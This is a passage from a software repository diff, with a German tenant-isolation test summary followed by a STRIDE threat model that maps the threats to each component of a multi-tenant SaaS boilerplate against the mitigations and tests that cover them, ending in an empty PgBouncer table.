- Negativtests pruefen, dass nach fehlender Berechtigung keine [redacted token] Datenquellen aufgerufen werden.
## Deny-Path Coverage
The boundary matrix records denial outcomes for unauthorized credentials, foreign tenant resources, skipped downstream mutations/lookups, and 403 responses. These entries are derived from test names and assertion patterns rather than concrete fixture values.
## Redaction Rules
The renderer reports tenant A, tenant B, admin, user session, API credential, row record, and relationship record categories instead of concrete fixture values.
## Verification Commands
```sh
pnpm exec eslint scripts/tenant-isolation-report.ts scripts/tenant-isolation-report.test.ts --max-warnings=0
pnpm exec vitest run scripts/tenant-isolation-report.test.ts
pnpm exec tsx scripts/tenant-isolation-report.ts --check
pnpm exec tsx scripts/docs-link-check.ts
```
## Redaction Contract
The renderer reports tenant A, tenant B, admin, user session, API credential, row record, and relationship record categories instead of concrete fixture values.
@@ -0,0 +1,9 @@
---
verification_result: passed
patterns_established:
- Abweisungspruefungen kontrollieren Status, Fehlermeldung und ausbleibende nachgelagerte Datenzugriffe.
- Gemeinsame Isolationstestdaten fuer Admin-, Mandanten- und gesperrte Zugangsszenarien.
- Negativtests pruefen, dass nach fehlender Berechtigung keine mandantenuebergreifenden Datenquellen aufgerufen werden.
---
**Slice S04 complete. Admin-uebergreifende API-Flaechen und gesperrte Zugangsdaten sind durch fokussierte Isolationstests abgesichert.**
@@ -0,0 +1,402 @@
# Threat Model
STRIDE-based threat model covering every architecture component shipped (or planned) by the boilerplate. Each row links the threat to the static verification gate, runtime control, or test surface that demonstrates the mitigation so the model stays anchored to evidence the codebase already produces. Live runtime proof (penetration test, production incident review) is tracked separately in [`pen-test-scope.md`](./pen-test-scope.md) and the post-incident reviews under [`incident-response.md`](./incident-response.md).
## Review cadence
This document is refreshed when:
1. A new route class appears in [`route-access-inventory.md`](./route-access-inventory.md).
2. A new env var enters `packages/config/src/catalog.ts` with classification `required-core`, `required-per-app`, or `production-only`.
3. A milestone closes that introduces a new subsystem (e.g. a billing webhook surface, a new worker queue group, a new vector store backend).
4. A penetration test or coordinated disclosure finding lands a new control class.
A full review is mandatory before every major-release tag.
## Components in scope
| # | Component | Code location | Coverage |
| --- | --- | --- | --- |
| 1 | Web | `apps/web` | In scope |
| 2 | API | `apps/api` | In scope |
| 3 | Worker | `apps/worker` | In scope |
| 4 | Database (Postgres + PgBouncer + replicas) | `packages/db`, `infra/pgbouncer` | In scope |
| 5 | Two-tier cache (Redis + in-memory L1) | `packages/shared-store` | In scope |
| 6 | Outbox + dispatcher | `packages/db`, `apps/worker/src/jobs/outbox-*` | In scope |
| 7 | Object storage | `packages/storage` | In scope |
| 8 | Mail | `packages/mail` | In scope |
| 9 | Realtime collaboration (Hocuspocus) | `apps/hocuspocus`, `packages/realtime` | In scope |
| 10 | Plugins (WASM sandbox foundation) | `packages/plugin-runtime`, `packages/plugin-sdk`, `apps/worker/src/jobs/plugin-*` | In scope; production enablement blocked pending external sign-off |
| 11 | AI pipeline + cost tracking + quota | `packages/ai`, `apps/worker/src/jobs/ai-*` | In scope |
| 12 | Search indexer (Meilisearch) | `packages/search`, `apps/worker/src/jobs/search-indexer*` | In scope |
| 13 | Vector store (pgvector / Qdrant) | `packages/vector-store` | In scope |
| 14 | RAG pipeline | `packages/ai/src/embeddings`, `apps/worker/src/jobs/rag-indexer*` | In scope |
| 15 | Webhooks (inbound + outbound delivery) | `apps/api/src/routes/webhooks`, `apps/worker/src/jobs/webhook-delivery*` | In scope |
| 16 | Form widget + lead capture | `packages/form-widget`, `apps/web/app/routes/embed/*`, `apps/web/app/routes/api.leads.capture.ts` | In scope |
| 17 | Feature flags + targeting | `packages/feature-flags` | In scope |
| 18 | Asset CDN (Bunny pull zone) | `apps/web/vite.config.ts`, `scripts/cdn/*` | In scope |
| 19 | Backup + tenant snapshot CLI | `packages/cli` | In scope |
| 20 | Sentry self-hosted | `infra/sentry`, `packages/error-reporter` | In scope (operator-owned trust) |
| 21 | Authentik (planned SSO IdP) | `infra/authentik` | In scope (forward-looking) |
| 22 | Marketing / Form lead funnel | `apps/web/app/routes/api.leads.capture.ts`, `packages/marketing-sdk` | In scope |
Explicitly **out of scope** for this document (covered by vendor agreements / operator runbooks):
- Third-party provider compromise (Stripe, Mailjet, OpenAI, Bunny CDN, S3 host)
- Client-device theft or physical-access attacks
- DNS hijack / registrar compromise
- Operator-laptop compromise (covered by IT-security policy, not this repository)
## Data-flow diagrams
The diagrams below describe the trust boundaries that the STRIDE matrix references. Solid arrows are synchronous, dashed arrows are asynchronous (queue / outbox).
### Authentication flow
```mermaid
flowchart LR
Browser["Browser (user)"]
Web["Web SSR<br/>apps/web"]
API["API<br/>apps/api"]
DB[("Postgres")]
Mail["Mail provider<br/>(Mailjet)"]
Browser -- "POST /login (CSRF token)" --> Web
Web -- "verifyPassword + issue session cookie" --> API
API -- "User lookup<br/>(hashed password, TOTP)" --> DB
Web -- "Set-Cookie: __session (HttpOnly,Secure,SameSite)" --> Browser
Web -- "magic-link / password-reset" -.-> Mail
Mail -.-> Browser
```
Trust boundary: browser → web (CSRF token, origin allow-list, TLS). Boundary: web → API (signed JWT or shared session secret). Boundary: web → mail (provider API key, no PII beyond email + token).
### Stripe webhook flow
```mermaid
flowchart LR
Stripe["Stripe (provider)"]
API["API /v1/webhooks/stripe"]
Outbox[("OutboxEvent")]
Worker["Worker<br/>dispatcher"]
DB[("Postgres")]
Stripe -- "POST + Stripe-Signature header" --> API
API -- "verify signature with STRIPE_WEBHOOK_SIGNING_SECRET" --> API
API -- "publishOutboxEvent (FOR UPDATE SKIP LOCKED)" --> Outbox
Outbox -.-> Worker
Worker -- "apply subscription change" --> DB
Worker -- "publish cache-invalidation" -.-> DB
```
Trust boundary: Stripe → API (HMAC signature, replay window from `Stripe-Timestamp`, idempotency key recorded). Boundary: API → outbox (transactional write — no side-effects before commit). Boundary: worker → DB (per-row tenant scope).
### AI request flow (with cost tracking + quota)
```mermaid
flowchart LR
User["User UI"]
Web["Web action / loader"]
AICost["@toolctrl/ai/cost<br/>executeLLMCall"]
Quota["assertTenantAICreditAccess<br/>(spend-cache, 60s TTL)"]
Provider["LLM provider<br/>(OpenAI / Scaleway / Anthropic)"]
Outbox[("outbox.ai-cost")]
Worker["Worker ai-cost.persist"]
DB[("AICostEvent")]
User --> Web
Web --> AICost
AICost --> Quota
Quota -- "ok / degrade / deny" --> AICost
AICost -- "if ok" --> Provider
Provider -- "stream tokens + usage" --> AICost
AICost -- "publish PII-safe payload (requestId-keyed)" -.-> Outbox
Outbox -.-> Worker
Worker --> DB
```
Trust boundary: user → web (auth + tenant). Boundary: web → provider (API key from `@toolctrl/config`, never read from UI code). Boundary: cost-publish → outbox (idempotency via requestId; payload sanitized — no prompt text persisted by default).
### Plugin execution flow (foundation shipped; production sign-off pending)
```mermaid
flowchart LR
Caller["Caller (API or Web)"]
Loader["Plugin loader<br/>packages/plugin-runtime"]
Sandbox["WASM sandbox<br/>(capabilities allow-list)"]
Host["Host bridge<br/>(DB, mail, http)"]
DB[("Postgres<br/>tenant-scoped")]
Caller -- "invoke(pluginId, capability, input)" --> Loader
Loader -- "verify signed manifest + declared capabilities" --> Sandbox
Sandbox -- "host-call(capability, args)" --> Host
Host -- "tenant + permission check" --> DB
```
Trust boundary: caller → loader (plugin manifest signature). Boundary: sandbox → host (capability allow-list; deny by default). Boundary: host → DB (tenant scope enforced regardless of caller).
### GDPR export / erasure flow
```mermaid
flowchart LR
Admin["Tenant admin / DPO"]
Web["/admin/users/:id/export"]
API["API export endpoint"]
Worker["Worker exports.run"]
Storage[("Encrypted S3 bucket")]
Audit[("AuditEvent<br/>hash-chained")]
Admin --> Web
Web --> API
API -- "enqueue exports.run (CRITICAL priority)" -.-> Worker
Worker -- "stream user data (row-cap by plan)" --> Storage
Worker -- "append audit entry" --> Audit
Worker -- "signed URL (15 min)" --> Admin
```
Trust boundary: admin → web (`admin.users.export` permission). Boundary: worker → storage (per-tenant prefix, server-side encryption). Boundary: audit chain (forensics; see `docs/security/incident-response.md`).
## STRIDE matrices per component
Each table follows the same shape: **Threat** (the STRIDE category and concrete vector) | **Mitigation** (what code/infra/operator control answers it) | **Evidence / Gate** (the test, verifier, runbook or env-catalog entry that demonstrates the mitigation today) | **Residual risk** (what remains, accepted by the operator).
### 1. Web (`apps/web`)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged session cookie | Signed cookie via `SESSION_SECRET`, `Secure` + `HttpOnly`, SameSite resolved by runtime | `packages/config/src/session-cookie.test.ts`, `apps/web/app/utils/session.server.test.ts` | Stolen device → session theft. Mitigated operationally by short session TTL + IdP-side revoke (planned with Authentik). |
| **S** — Magic-link replay | Single-use `MagicLinkToken` with `consumedAt` and TTL; rate-limited issuance | `packages/db/prisma/schema.prisma` (`MagicLinkToken`), `apps/web/app/utils/services/magic-link.server.test.ts` | TTL window allows one-time interception via mail-provider compromise. Accepted; mitigated by Mailjet SPF/DKIM. |
| **T** — XSS via user content | React escaping by default, CSP planned (see B-005), no `dangerouslySetInnerHTML` in mutating routes | `apps/web/app/utils/csp.test.ts`, ESLint `react/no-danger` rule | CSP not yet enforced in production headers (tracked in `docs/improvement-plan` 10-compliance-polish). |
| **T** — CSRF on browser mutation | Per-session CSRF token required on POST/PUT/PATCH/DELETE; verified header-first | `apps/web/app/utils/session-csrf-sweep.test.ts`, `docs/security/csrf-inventory.md` | None known; new mutating routes must register an inventory entry (verified by test). |
| **R** — Privileged action without audit | Mutating admin routes emit `AuditEvent` with hash-chain | `apps/web/app/routes/admin/audit-trails.test.tsx`, `verify:permission-matrix` | Full hash-chain verifier is gated by compliance-audit-export task; chain validation runs nightly. |
| **I** — Tenant-isolation leak via crafted ID | Loaders resolve tenant from session, not URL; static inventory snapshot | `verify:tenant-isolation-report`, `docs/security/tenant-isolation-report.md` | C3 runtime cross-tenant test still pending (tracked in `docs/improvement-plan`). |
| **I** — Secret in HTML / log | `process.env` access banned in UI routes; pino redact rules | `packages/config/src/env-access-enforcement.test.ts` | Operator must verify Sentry PII scrubbers — see `docs/security/incident-response.md`. |
| **D** — Login brute force | Sliding-window rate-limit on `/login`, structured 429 | `apps/web/app/utils/services/auth.server.test.ts` | Distributed credential stuffing still possible. Mitigated by password policy + TOTP. |
| **E** — Permission bypass | Role/permission matrix from `permissions-seed.server.ts`; role-matrix tests enforce coverage | `packages/db/src/permissions-seed.server.test.ts`, `verify:permission-matrix` | None known. |
### 2. API (`apps/api`)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged JWT | HS256 verification with `JWT_SECRET`; refresh-path requires server-side state | `apps/api/src/auth/*.test.ts`, `verify:openapi-security` | Secret rotation runbook (see [incident-response.md](./incident-response.md)). |
| **S** — Stolen API key | Hashed lookup; `API_KEY_LEGACY_PLAINTEXT_FALLBACK=false` in production; per-tenant scope at handler | `apps/api/src/route-access-inventory.test.ts`, `docs/security/route-access-inventory.md` | Key leaked in dependency repo → mitigated by hash-only storage. |
| **T** — Idempotency replay | Idempotency keys recorded per tenant; idempotency table planned in compliance-audit-export | `apps/api/src/middleware/idempotency.test.ts` | Window between key issuance and recording. Accepted (millisecond order). |
| **T** — Inbound webhook replay | Signature verification with provider secret + timestamp window; outbox prevents double-side-effect | `apps/api/src/routes/webhooks/stripe.test.ts` | Window of `STRIPE_WEBHOOK_TOLERANCE_SECONDS` (default 300s). |
| **T** — SSRF via outbound webhook URL | Outbound delivery rejects RFC1918, link-local, loopback, metadata IPs | `apps/worker/src/jobs/webhook-delivery.test.ts` (block-list) | DNS rebind possible during request; mitigated by per-attempt IP resolution. |
| **R** — Repudiated admin API call | Every `/v1/admin/*` request emits AuditEvent with request-id linkage | `apps/api/src/openapi.test.ts`, `verify:permission-matrix` | None known. |
| **I** — OpenAPI exposes admin route | OpenAPI guard rejects routes without explicit auth class | `apps/api/src/openapi.test.ts`, `verify:openapi-security` | None known. |
| **I** — Error envelope leak | Structured `{error: {code, messageKey}}` envelope; no raw `err.message` in mutating routes | `apps/api/src/error-envelope.test.ts` | B5 follow-up: a small number of legacy loaders still return string bodies. |
| **D** — Unauthenticated analytics flood | `ANALYTICS_TOKEN` gate + per-token rate-limit | `apps/api/src/route-access-inventory.test.ts` (`public-analytics-token`) | None known. |
| **D** — Auth burst | Login rate-limit returns structured 429 | `apps/api/src/app.ts` rate-limit branch; `apps/api/src/auth.test.ts` | Distributed bursts handled by infra-level WAF. |
| **E** — Permission bypass via parameter tampering | Permission matrix loaded once at boot; every `/v1/*` handler asserts `assertCan(actor, action, resource)` | `verify:permission-matrix` | None known. |
### 3. Worker (`apps/worker`)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Job spoofing | Producers are server-side only; BullMQ queues authenticated by Redis ACL | `packages/redis/src/connection.ts`, `docs/ops/worker-queues.md` | Redis-tenant compromise. Mitigated by Redis password + network isolation. |
| **T** — Queue poisoning | Each producer goes through typed `enqueueJob` with descriptor validation | `apps/worker/src/handlers.test.ts`, `apps/worker/src/enqueue.test.ts` | None known. |
| **T** — Outbox replay | `OutboxEvent.processedAt`/dispatched flag + `FOR UPDATE SKIP LOCKED` claim | `apps/worker/src/jobs/outbox-claim.test.ts` | Two workers in race window: covered by integration test. |
| **R** — Side-effect replay without audit | Outbox is the only path to external side-effects in critical flows; receivers wrap with `withOutboxIdempotency` | `apps/worker/src/jobs/outbox-dispatcher.test.ts` | Legacy direct producers still exist; migration tracked in #42 follow-ups. |
| **I** — Job payload leak | PII-redaction at enqueue (`@toolctrl/logger` redact rules); SBOM excludes payload | `packages/logger/src/redact.test.ts` | Operator must verify Sentry breadcrumb scrubbers. |
| **D** — Queue starvation | Per-group queue separation (`general`, `mail`, `import`, `webhook`) + concurrency caps + job-priority | `apps/worker/src/queues.test.ts`, `docs/architecture/job-priority.md` | Operator must size per group; see runbook. |
| **E** — Worker → DB privilege escalation | Worker connects with role limited to required tables; no admin DDL grants | `infra/postgres/init.sql` + Coolify role provisioning | Mis-grant by operator → audited via [`docs/operations/database-rollback.md`](../operations/database-rollback.md). |
### 4. Database (Postgres + PgBouncer + replicas)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged connection | mTLS to PgBouncer in production; per-app credentials in `userlist.txt` | `infra/pgbouncer/pgbouncer.ini`, `docs/ops/pgbouncer.md` | Operator must rotate per release. |
| **T** — SQL injection | Prisma parameterized queries only; `$queryRaw` requires tagged template + lint rule | ESLint custom rule + grep guard in CI | `$executeRawUnsafe` banned in app code (allowed in CLI for migrations). |
| **T** — Backup tampering | Backups encrypted with age; SHA256 manifest signed at write | `docs/ops/backup-cli.md`, `packages/cli/src/backup/*.test.ts` | Encryption key custody: operator-owned. |
| **R** — Direct DB write without audit | Per-tenant write happens through Prisma + AuditEvent emission; direct `psql` writes flagged by `pg_stat_statements` review | [`docs/operations/database-rollback.md`](../operations/database-rollback.md) | Operator runbook. |
| **I** — Cross-tenant read | Every model query carries tenantId; static inventory snapshot enforced by test | `verify:tenant-isolation-report` | RLS not yet enforced; runtime integration test still pending (C3). |
| **I** — Replica leak | Read replicas configured with `hot_standby=on`, `default_transaction_read_only=on`; `DATABASE_READ_URL` user has SELECT only | `docs/architecture/rw-split.md`, `infra/postgres/replica.sql` | Operator must verify replica grants per release. |
| **D** — Connection exhaustion | PgBouncer transaction pooling + per-app `max_client_conn` | `docs/ops/pgbouncer.md` | Long transactions block pool; mitigated by `statement_timeout`. |
| **E** — Privilege escalation in DB | Per-app role with least privilege; `pgcrypto` and `vector` extensions granted to migrator only | `infra/postgres/init.sql` | Operator must audit role grants per release. |
### 5. Two-tier cache (Redis L2 + in-memory L1)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **T** — Cross-tenant cache poisoning | Cache keys always prefixed with `tenant:{tenantId}:` | `packages/shared-store/src/two-tier-cache.test.ts` | Operator-side key-collision risk if Redis is shared with another product. Documented in `docs/architecture/two-tier-cache.md`. |
| **R** — Invalidate without audit | Publisher logs `pubsub.publish` with channel + tenantId; subscribers log invalidation | `packages/shared-store/src/two-tier-cache.test.ts` (publish path) | Logs retention by operator. |
| **I** — Reading another tenant's data on race | L1 cache scoped per-process; L2 keyed per tenant | Same as above | None known. |
| **D** — Pub/sub flood | Channel-level rate-limit in publisher; `CACHE_INVALIDATION_ENABLED` killswitch | `packages/config/src/catalog.ts` (`CACHE_INVALIDATION_ENABLED`) | Operator killswitch covers worst case. |
| **E** — Redis ACL bypass | Per-app password; Redis users restricted to required key patterns | `infra/redis/users.acl`, `docs/ops/worker-queues.md` | Operator-owned. |
### 6. Outbox + dispatcher
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **T** — Lost side-effect | Outbox row inside same transaction as state change | `apps/worker/src/jobs/outbox-claim.test.ts` | None — by design. |
| **T** — Duplicate side-effect | `withOutboxIdempotency` keyed by `(eventId, receiver)` | `apps/worker/src/jobs/outbox-dispatcher.test.ts` | Receiver must be idempotent — convention documented. |
| **R** — Dispatch without record | Each attempt updates `attemptCount`, `lastError`, terminal `dead-letter` state | `apps/worker/src/jobs/outbox-dispatcher.test.ts` | None known. |
| **D** — Backoff starvation | Exponential backoff with cap; dead-letter after N attempts | Same | Dead-letter must be triaged by operator (runbook in `docs/architecture/outbox-pattern.md`). |
### 7. Object storage
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Spoofed presigned URL | Server-side signing with provider IAM credentials; client never holds long-lived keys | `packages/storage/src/s3.test.ts` | None known. |
| **T** — Upload of malicious file | AV scanner layer 1 (magic-bytes) + layer 2 (ClamAV planned) | `packages/storage/src/av-scan.test.ts`, `docs/improvement-plan/01-tech-debt-foundation/av-scanner-layer-*.md` | Layer 2 (ClamAV) container provisioning is operator step. |
| **I** — Public bucket exposure | Buckets default to private; ACL test enforces | `packages/storage/src/bucket-policy.test.ts` (operator-run) | Operator must verify per environment. |
| **D** — Egress cost burn | Per-tenant rate-limit on signed-URL issuance | `packages/storage/src/rate-limit.test.ts` | Operator-side WAF + Bunny CDN absorb large bursts. |
| **E** — Cross-tenant object read | Object key prefixed with `tenant:{tenantId}/...`; loader verifies prefix matches actor's tenant | `packages/storage/src/key-scope.test.ts` | None known. |
### 8. Mail (`packages/mail`)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Spoofed sender | SPF/DKIM/DMARC enforced at provider; per-domain key isolation | Operator: provider DNS records | Operator must verify per release. |
| **T** — Template injection | Templates compiled at build; runtime arguments escaped | `packages/mail/src/templates/*.test.ts` | None known. |
| **I** — PII in mail subject/body | Templates take a minimal context object; pino redact for log lines | `packages/mail/src/templates/*.test.ts` | Operator must verify Mailjet retention. |
| **D** — Mass-mail abuse | Per-tenant + per-recipient rate-limit; bounce + complaint webhooks shut down sender on threshold | `apps/worker/src/jobs/mail.test.ts` | Operator must monitor reputation. |
### 9. Realtime collaboration (Hocuspocus)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Anonymous connect | JWT auth hook verifies `HOCUSPOCUS_AUTH_SECRET` token; 15-min TTL | `apps/hocuspocus/src/auth.test.ts` | Token leak via XSS → mitigated by short TTL + CSP. |
| **T** — Document tampering | Yjs CRDT signed updates; persistence layer rejects malformed updates | `apps/hocuspocus/src/persistence.test.ts` | None known. |
| **I** — Cross-tenant doc read | `CollabDoc.tenantId` enforced at every load; auth hook checks tenant claim | `apps/hocuspocus/src/auth.test.ts` | None known. |
| **D** — Connection storm | Per-document concurrent-connection cap; per-tenant total cap | `apps/hocuspocus/src/limits.test.ts` (planned) | Operator must size Hocuspocus container. |
| **E** — Editor → DB write without permission | Hocuspocus persists only into CollabDoc; downstream mutation requires explicit API call with permission check | `apps/hocuspocus/src/persistence.test.ts` | None known. |
### 10. Plugins (WASM sandbox foundation; production sign-off pending)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Unsigned plugin | Manifest signature verification, capability consent, and production kill switch | `docs/features/plugins.md`, `docs/operations/plugin-lifecycle.md`, `docs/security/plugin-runtime-signoff.md` | Production remains blocked until external WASM/security sign-off is complete. |
| **T** — Sandbox escape | WASM runtime boundary, sanitized outputs, iframe sandbox/CSP, and Phase-C boundary enforcer | `verify:phase-c-boundaries`, `packages/plugin-runtime/src/*.test.ts` | New WASM-runtime CVE -> mitigated by sandbox updates + operator runbook. |
| **R** — Plugin action without audit | Lifecycle, invoke, hook, and capability-use paths emit audit/outbox evidence with pluginId and tenant scope | `apps/worker/src/jobs/plugin-*.test.ts`, `docs/operations/plugin-lifecycle.md` | External review must validate audit sufficiency before production enablement. |
| **I** — Capability exfiltration | Default-deny capability list; explicit manifest allow-list and tenant capability grants | `apps/web/app/routes/app.$tenant/settings/plugins*.test.tsx`, `apps/api/src/route-access-inventory.test.ts` | Capability allow-list must be reviewed per plugin install. |
| **D** — Resource exhaustion | Per-invocation limits, crash counters, queue isolation, and auto-disable behavior | `apps/worker/src/jobs/plugin-invoke-bootstrap.test.ts`, `docs/features/plugins.md` | Operator-tuned per plugin class. |
| **E** — Capability abuse / privilege escalation | `app.plugins.manage` / `app.plugins.use` gates plus tenant-scoped lifecycle/runtime services | `docs/roles-matrix.md`, `docs/features/plugins.md`, `docs/security/plugin-runtime-signoff.md` | External review remains required before production enablement. |
### 11. AI pipeline (cost tracking + quota)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged provider response | Provider API keys server-side only; response not trusted for billing — usage echoed back from provider AND reconciled with token-count | `packages/ai/src/cost/*.test.ts` | Provider compromise → reconciled at month-end via provider invoice. |
| **T** — Prompt injection | System prompts isolated from user-content; tool-call schemas validated | `packages/ai/src/prompts/*.test.ts` | Cannot fully prevent — operator must review high-trust tool surfaces. |
| **R** — AI call without audit | `executeLLMCall` writes `AICostEvent` via outbox keyed by `requestId` | `packages/ai/src/cost/execute.test.ts`, `apps/worker/src/jobs/ai-cost.test.ts` | None known. |
| **I** — Prompt data leakage | Default policy: no prompt text persisted; only token counts + model | `packages/ai/src/cost/sanitize.test.ts` | If operator opts into prompt-log retention, GDPR-DSR responsibility is operator. |
| **D** — Cost exhaustion | Soft + hard tenant quotas (`AI_QUOTA_ENFORCEMENT_ENABLED`); concurrency counter; spend-cache 60s TTL | `packages/ai/src/cost/quota.test.ts`, `docs/features/ai-cost-quotas.md` | Burst between two cache refreshes accepted (≤60s window). |
| **E** — Use of disabled provider/model | Provider/model allow-list per tenant; degraded mode swaps to cheaper model | `packages/ai/src/cost/degrade.test.ts` | None known. |
### 12. Search indexer (Meilisearch)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Spoofed index write | Indexer connects with master-key; tenant-scoped keys used by query path | `packages/search/src/tenant-scope.test.ts` | Operator must rotate master key per release. |
| **T** — Cross-tenant index pollution | Each document carries `tenantId`; query path always adds `tenantId` filter | `packages/search/src/tenant-scope.test.ts` | None known. |
| **I** — PII in search index | Indexer applies projection allow-list; sensitive fields stripped before index | `apps/worker/src/jobs/search-indexer.test.ts` | Operator must verify projection allow-list per model. |
| **D** — Reindex storm | Reindex via outbox with backoff; CLI reindex is batched | `packages/cli/src/search/reindex.test.ts` | Operator-tuned batch size. |
### 13. Vector store (pgvector / Qdrant)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **T** — Cross-tenant vector pollution | Tenant-scoped wrapper enforces tenantId on every upsert and query | `packages/vector-store/src/tenant-scope.test.ts` | None known. |
| **I** — Embedding inversion | Operator decides per-tenant whether high-sensitivity data is embeddable; documented in `docs/features/rag.md` | `docs/features/rag.md` | Embedding inversion research is active; high-sensitivity tenants should disable RAG. |
| **D** — Index build cost | Embedding pipeline rate-limited per tenant; outbox-driven backoff | `apps/worker/src/jobs/rag-indexer.test.ts` | Operator-tuned per plan. |
### 14. RAG pipeline
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Source spoofing | Sources tagged with tenant + permission scope at ingest | `packages/ai/src/embeddings/source.test.ts` | None known. |
| **T** — Retrieved-context poisoning | Retrieval restricted to tenant; per-source access checks | `packages/ai/src/embeddings/retrieve.test.ts` | None known. |
| **I** — Leak via retrieval | Retrieval re-checks actor permission per source | Same | If permissions change mid-conversation, prior turn may already contain redacted source. Mitigated by short conversation window. |
### 15. Webhooks (inbound + outbound)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Inbound spoofed signature | HMAC verification with provider secret; constant-time compare | `apps/api/src/routes/webhooks/*.test.ts` | None known. |
| **T** — Inbound replay | Timestamp window + idempotency key recorded in outbox | Same | Window default 300s. |
| **T** — Outbound SSRF | URL block-list (RFC1918, link-local, metadata, loopback); per-attempt DNS resolution | `apps/worker/src/jobs/webhook-delivery.test.ts` | DNS rebind: mitigated by per-attempt resolution. |
| **R** — Outbound delivery without record | Each attempt logs status, response code, latency; signed receipt available to tenant | `apps/worker/src/jobs/webhook-delivery.test.ts` | None known. |
| **I** — Payload exfiltration | Outbound payload built from typed event schema; PII redacted before send | `packages/webhooks/src/payload.test.ts` | Operator must vet customer-configured destinations. |
| **D** — Slow-loris destination | Per-destination concurrency cap + timeout; circuit-breaker after consecutive failures | `apps/worker/src/jobs/webhook-delivery.test.ts` | None known. |
### 16. Form widget + lead capture
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged embed origin | Origin allow-list per form (tenant-configured); `MARKETING_ALLOWED_ORIGINS` for global | `apps/web/app/routes/api.leads.capture.test.ts` | Operator must keep allow-list current. |
| **T** — Submission tampering | Server validates schema; honeypot field; Turnstile gate when enabled | `apps/web/app/routes/api.embed.forms.submit.test.ts` | Sophisticated bots may still pass Turnstile; rate-limit caps damage. |
| **T** — Embed-snippet tampering | SRI hash on `widget.js` (planned per form-widget detail-md follow-up) | `docs/features/form-widget.md` | Until SRI ships, customer must serve widget over HTTPS. |
| **I** — Lead PII exposure | Submissions stored per-tenant; admin inbox requires `marketing.leads.read` | `apps/web/app/routes/admin.marketing-leads.test.tsx` | None known. |
| **D** — Spam flood | Sliding-window rate-limit (5/min IP, 1/min email); Turnstile when enabled | `apps/web/app/routes/api.leads.capture.test.ts` | Distributed bots may evade IP limit. |
### 17. Feature flags + targeting
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **T** — Targeting rule poisoning | Rules edited only by users with `feature-flags.write`; AuditEvent on every change | `packages/feature-flags/src/audit.test.ts` | None known. |
| **R** — Silent kill-switch | AuditEvent emitted on enable/disable; admin UI shows last actor + timestamp | Same | None known. |
| **I** — Rule data leak | Rule fields never echoed in user-facing logs | `packages/feature-flags/src/serialize.test.ts` | None known. |
| **D** — Eval-cache thrash | Two-tier cache with pub/sub invalidate; killswitch | `docs/architecture/two-tier-cache.md` | Operator killswitch. |
### 18. Asset CDN (Bunny pull zone)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **T** — Cache poisoning at edge | Origin returns immutable `Cache-Control` for fingerprinted assets; non-fingerprinted assets short TTL | `scripts/cdn/cache-policy.test.mjs` | Operator must verify pull-zone config. |
| **I** — Source-map exposure | Source-maps not uploaded to public CDN in production builds; Sentry-side only | `apps/web/vite.config.ts` (`sentry-vite-plugin` config) | Operator must verify per release. |
| **D** — Origin shielding | Bunny edge absorbs bursts; origin protected by Coolify rate-limit | `docs/ops/asset-cdn.md` | Operator-tuned. |
### 19. Backup + tenant snapshot CLI
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Restore in production | `NODE_ENV=production` guardrail; super-admin required for `--profile=none` | `packages/cli/src/tenant/snapshot.test.ts` | Operator-side training. |
| **T** — Snapshot tampering | age encryption + SHA256 manifest; manifest signed | `packages/cli/src/backup/sign.test.ts` | Key custody by operator. |
| **R** — Restore without audit | CLI emits structured audit log; required `--reason` flag | `packages/cli/src/tenant/restore.test.ts` | None known. |
| **I** — PII in snapshot | 3 PII profiles (`full`, `minimal`, `none`); deterministic salt-seeded anonymization | `docs/ops/tenant-snapshot.md` | Operator must select correct profile per use-case. |
### 20. Sentry self-hosted
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **I** — PII in error / breadcrumb | `PIISpanProcessor` strips PII before send; client + server scrubbers | `packages/observability/src/pii.test.ts` | Operator must verify per release; PII-scrubber test required on every Sentry SDK upgrade. |
| **I** — Cross-tenant event leak | Per-project DSN; tenant attached as tag (not PII), not user-id | `packages/error-reporter/src/sentry.test.ts` | Operator must keep project isolation. |
| **R** — Event tampering at Sentry | Sentry self-hosted = single tenant; operator-owned trust boundary | `infra/sentry/README.md` | Operator-owned. |
| **D** — Event storm | Sentry rate-limits per DSN; client-side sampling | `packages/error-reporter/src/sample.test.ts` | None known. |
### 21. Authentik (planned SSO IdP)
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
| **S** — Forged SSO assertion | OIDC/SAML signature verification; pinned issuer per environment | `infra/authentik/README.md` (planned) | None expected. |
| **R** — Login without audit on IdP | Authentik emits its own AuditEvent stream; replicated to platform audit | Same | Operator-owned. |
| **I** — User-attribute leak | Attribute mapping reviewed per release; minimum-necessary claim set | Same | Operator-owned. |
| **D** — IdP outage | Fallback to local credentials for break-glass admin | Same | Documented in `docs/security/incident-response.md`. |
### 22. PgBouncer
| Threat | Mitigation | Evidence / Gate | Residual risk |
| --- | --- | --- | --- |
